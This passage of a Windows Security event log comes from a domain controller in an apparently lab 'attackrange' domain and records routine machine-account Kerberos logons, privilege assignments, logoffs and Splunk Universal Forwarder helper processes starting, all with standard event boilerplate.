-ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255942 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x389825 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64913 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255941 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x389825 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255940 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3897DC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255939 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3897DC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255938 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3896CE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64912 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255937 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3896CE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255950 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc40 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:47:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255951 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:47:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255952 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x122c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:47:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255953 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:47:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255954 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x389A35 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:47:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255957 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x38C7F7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:47:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255956 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x38C7F7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64925 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:47:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255955 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x38C7F7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:48:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255958 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb90 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:48:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255959 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa0c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:48:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255961 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x968 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:48:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255960 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x674 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:48:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255962 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:48:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255963 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255964 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:48:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255967 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x38FD57 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:48:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255966 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x38FD57 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64938 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate 